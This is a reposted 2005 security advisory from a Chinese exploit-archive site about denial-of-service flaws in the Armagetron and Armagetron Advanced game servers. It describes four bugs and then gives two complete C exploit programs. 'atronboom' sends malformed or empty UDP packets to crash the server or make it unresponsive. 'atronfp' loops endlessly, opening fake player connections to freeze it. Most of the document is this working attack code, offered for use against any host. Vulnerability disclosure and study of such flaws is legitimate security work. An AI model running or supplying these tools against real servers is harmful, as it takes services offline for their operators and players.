首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Armagetron DoS
来源:aluigi.altervista.org 作者:Luigi 发布时间:2005-02-17  

Armagetron DoS

Summary
Armagetron is "the well known and played opensource multiplayer game developed by Manuel Moos. Recently the project Armagetron (until version 0.2.6.0) has been declared dead and is unofficial successor is Armagetron Advanced".

Due to multiple vulnerabilities in Armagetron a remote attacker can cause the program to no longer respond to legitimate requests or to completely crash.

Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/atron-adv.txt

Details
Vulnerable Systems:
* Armagetron version 0.2.6.0 and prior
* Armagetron Advanced version 0.2.7.0 and prior

Large descriptor ID DoS:
The game uses an array of 400 descriptors, but clients can pass their descriptor ID using a 16 bits number (allows supplying a number in the range of 0 to 65535). In short a packet with an ID above the 400 is able to crash the server due to the access to an unallocated section of the array.

Large claim_id DoS:
Just like the bug described above, a user can control a 16 bit value that points to an array of 18 elements (this is inside the ANET_AddrCompare() function).

Unreacheable Socket by Sending an Empty Packet:
The game utilizes asynchronous sockets through the FIONREAD function. The FIONREAD function returns the number of bytes received in the last packet (0 if there are no new packets). If the server receives an empty UDP packet it will continue to check the socket's queue infinitely since there are still 0 bytes and in the meantime it will not handle any other packets, causing all connected clients to disconnect.

Fake Players Causing Temporary Freeze:
Connecting to the server multiple times and not sending data (timeout) will cause the server to freeze.

Exploit:
atronboom:
For the first 3 vulnerabilities, the following exploit code can be used:
/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/atronboom.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 4534
#define TIMEOUT 3

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();

void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
info[] =
"\x00\x35"
"\x00\x00"
"\x00\x00"
"\x00\x00",
pck[] =
"\x00\x06" // ID
"\x00\x26"
"\x00\x01"
"\x00\x04"
"\x00\x00"; // peers[claim_id]

setbuf(stdout, NULL);

fputs("\n"
"Armagetron / Armagetron Advanced <= 0.2.7.0 server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = crash caused by big descriptor ID\n"
" 2 = crash caused by big claim_id\n"
" 3 = socket unreacheable through empty packet\n"
"\n", argv[0], port);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 3) port = atoi(argv[3]);

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

fputs("- retrieve informations:\n", stdout);
SEND(info);
RECV;
show_info(buff, len);

fputs("- send BOOM packet\n", stdout);
switch(atoi(argv[1])) {
case 1: {
*(u_short *)pck = htons(0xffff);
SEND(pck);
} break;
case 2: {
*(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);
SEND(pck);
} break;
case 3: {
SEND("");
} break;
default: {
fputs("\nError: wrong type of attack selected\n\n", stdout);
exit(1);
}
}

fputs("- check server:\n", stdout);
SEND(info);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}

close(sd);
return(0);
}

void show_info(u_char *data, int len) {
#define SHOW(x) sz = *(u_short *)data; \
data += 2; \
if(sz > 1) printf(x "%s\n", data); \
data += sz + (sz & 1);
u_short *ds,
sz,
players;
u_char *p,
*p1;

ds = (u_short *)data;
for(len >>= 1; len--; ds++) {
*ds = ntohs(*ds);
}
fputc('\n', stdout);
data += 14;
SHOW(" Hostname ");
players = *(u_short *)data;
data += 12;
SHOW(" version ");
data += 4;
sz = *(u_short *)data;
data += 2;
printf(" %d players:\n", players);
for(p = data; players--; p = p1 + 1) {
p1 = strchr(p, '\n');
if(!p1) break;
*p1 = 0x00;
printf(" - %s\n", p);
}
data += sz + (sz & 1) + 4;
SHOW(" URL ");
fputc('\n', stdout);
#undef SHOW
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

atronfp:
For the last vulnerability, the following exploit code can be used:
/*

by Luigi Auriemma - http://aluigi.altervista.org/fakep/atronfp.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 4534
#define TIMEOUT 3

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err(); \
fputc('.', stdout);
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
fputc('.', stdout);

void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
int sd,
len,
on = 1;
u_short port = PORT,
*claim_id;
u_char buff[BUFFSZ],
info[] =
"\x00\x35"
"\x00\x00"
"\x00\x00"
"\x00\x00",
pck[] =
"\x00\x06" // ID
"\x00\x26"
"\x00\x01"
"\x00\x04"
"\x00\x00"; // claim_id

setbuf(stdout, NULL);

fputs("\n"
"Armagetron / Armagetron Advanced Fake Player DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

fputs("- retrieve informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(info);
RECV;
close(sd);
show_info(buff, len);

claim_id = (u_short *)(pck + sizeof(pck) - 3);

for(;;) {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peer))
< 0) std_err();

SEND(pck);
RECV;
close(sd);

sleep(ONESEC);
*claim_id = htons((ntohs(*claim_id) + 1) & 15); /* useless!!! */
}

return(0);
}

void show_info(u_char *data, int len) {
#define SHOW(x) sz = *(u_short *)data; \
data += 2; \
if(sz > 1) printf(x "%s\n", data); \
data += sz + (sz & 1);
u_short *ds,
sz,
players;
u_char *p,
*p1;

ds = (u_short *)data;
for(len >>= 1; len--; ds++) {
*ds = ntohs(*ds);
}
fputc('\n', stdout);
data += 14;
SHOW(" Hostname ");
players = *(u_short *)data;
data += 12;
SHOW(" version ");
data += 4;
sz = *(u_short *)data;
data += 2;
printf(" %d players:\n", players);
for(p = data; players--; p = p1 + 1) {
p1 = strchr(p, '\n');
if(!p1) break;
*p1 = 0x00;
printf(" - %s\n", p);
}
data += sz + (sz & 1) + 4;
SHOW(" URL ");
fputc('\n', stdout);
#undef SHOW
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Buffer Overflow in OSH
·Microsoft Office XP Remote Buf
·Linux Kernel <= 2.6.11-rc3
·3Com FTP Server Buffer Overflo
·vBulletin 3.x forumdisplay.php
·AWStats PluginMode and LoadPlu
·TinyWeb Server DoS Exploit
·Sami HTTP Server Directory Tra
·Prozilla Format String Vulnera
·vbulletin 3.0.x PHP code execu
·ELOG Remote Shell Exploit
·DoS in Quake 3 poc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved